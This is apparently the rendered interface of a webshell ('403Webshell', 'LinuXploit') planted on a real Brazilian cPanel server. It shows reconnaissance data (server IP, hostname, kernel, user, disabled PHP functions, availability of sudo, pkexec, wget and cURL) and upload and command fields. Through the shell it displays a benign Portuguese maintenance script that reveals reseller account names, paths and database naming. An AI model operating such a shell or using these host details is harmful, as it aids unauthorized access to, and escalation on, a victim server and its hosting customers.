403Webshell
Server IP : 23.111.136.34  /  Your IP : 216.73.216.136
Web Server : Apache
System : Linux servidor.eurohost.com.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : meusitei ( 1072)
PHP Version : 5.6.40
Disable Function : show_source, system, shell_exec, passthru, proc_open
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/meusitei/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/meusitei//atualizar.sh
#!/bin/sh
#
# WideCom Brasil
# Gerenciando Soluções Web
#
# Ricardo Lobo [86]
# wcb-783119
##

### Carregando funções ###
. /atualizar.functions

### Definindo variáveis ###

revenda=(seusitei meusitei)
userexc=(procorre meusitei meusite1 meusite2 meusite3)
modelos=(modelo01 modelo02 modelo03 modelo04)

dbsufix=imobmsi

origem=/home/meusitei/public_html
workdir=$origem/betateste

logfile=/root/atualizar.log

if [ ! -e /atualizar.sql ]
then
	touch /atualizar.sql
fi

updatefiles(){
	echo '
Iniciando Atualização de Arquivos...
'

	echo "
### Log de erros [Arquivos] ###
`date`
### Log de erros [Arquivos] ###
" >> $logfile

	cd $workdir

	echo "Atualizando revenda ${revenda[0]}"
	# Revenda seusitei
	for user in `grep OWNER="${revenda[0]}" /var/cpanel/users/* | cut -d: -f1 | cut -d/ -f5 | grep -v "${userexc[0]}"`
	do
		destino=/home/$user/public_html/demo
	
		for file in `cat /root/atualizar_lista.txt`
		do
			cp -fu --parents $file $destino >> $logfile 2>&1
			echo -n '.'
			chown $user.$user $destino/$file >> $logfile 2>&1
		done
	done
	echo
	echo -n "Revenda ${revenda[0]} atualizada"
	ok

	echo "Atualizando revenda ${revenda[1]}"
	# Revenda meusitei
	for user in `grep OWNER="${revenda[1]}" /var/cpanel/users/* | cut -d: -f1 | cut -d/ -f5 | egrep -v "${userexc[1]}|${userexc[2]}|${userexc[3]}|${userexc[4]}"`
	do
		destino=/home/$user/public_html
	
		for file in `cat /root/atualizar_lista.txt`
		do
			cp -fu --parents $file $destino >> $logfile 2>&1
			echo -n '.'
			#echo -ne "|"\b
			#echo -ne "/"\b
			#echo -ne "-"\b
			#echo -ne "\\"\b
			chown $user.$user $destino/$file >> $logfile 2>&1
		
			for modelo in ${modelos[@]}
			do
				cp -fu --parents $file $origem/$modelo >> $logfile 2>&1
			done
		done
	done
	echo
	echo -n "Revenda ${revenda[1]} e seus modelos atualizados"
	ok

	echo 'Atualização concluída'

	echo "
### Log finalizado [Arquivos] ###
`date`
### Log finalizado [Arquivos] ###
" >> $logfile
}

updatedb(){
	echo '
Iniciando Atualização [Banco de Dados]...
'

	echo "
### Log de erros [Banco de Dados] ###
`date`
### Log de erros [Banco de Dados] ###
" >> $logfile

	echo "Atualizando revenda ${revenda[1]}"
	# Revenda meusitei
	for user in `grep OWNER="${revenda[1]}" /var/cpanel/users/* | cut -d: -f1 | cut -d/ -f5 | egrep -v "${userexc[1]}|${userexc[2]}|${userexc[3]}|${userexc[4]}"`
	do
		mysql $user\_$dbsufix < atualizar.sql >> $logfile 2>&1
		echo -n '.'
	done
	echo
	echo -n "Bancos de dados da revenda ${revenda[0]} atualizados"
	ok

	echo 'Atualização concluída [Banco de Dados]'
	echo
	echo "
### Log finalizado [Banco de Dados] ###
`date`
### Log finalizado [Banco de Dados] ###
" >> $logfile
}

case $1 in
--arquivos)
	updatefiles
	;;
--bancos)
	updatedb
	;;
*)
	echo 'usage: atualizar.sh [OPTION]

--arquivos		Atualizar arquivos das revendas seusitei e meusitei
--bancos		Atualizar bancos de dados da revenda meusitei
'
	;;
esac

Youez - 2016 - github.com/yon3zu
LinuXploit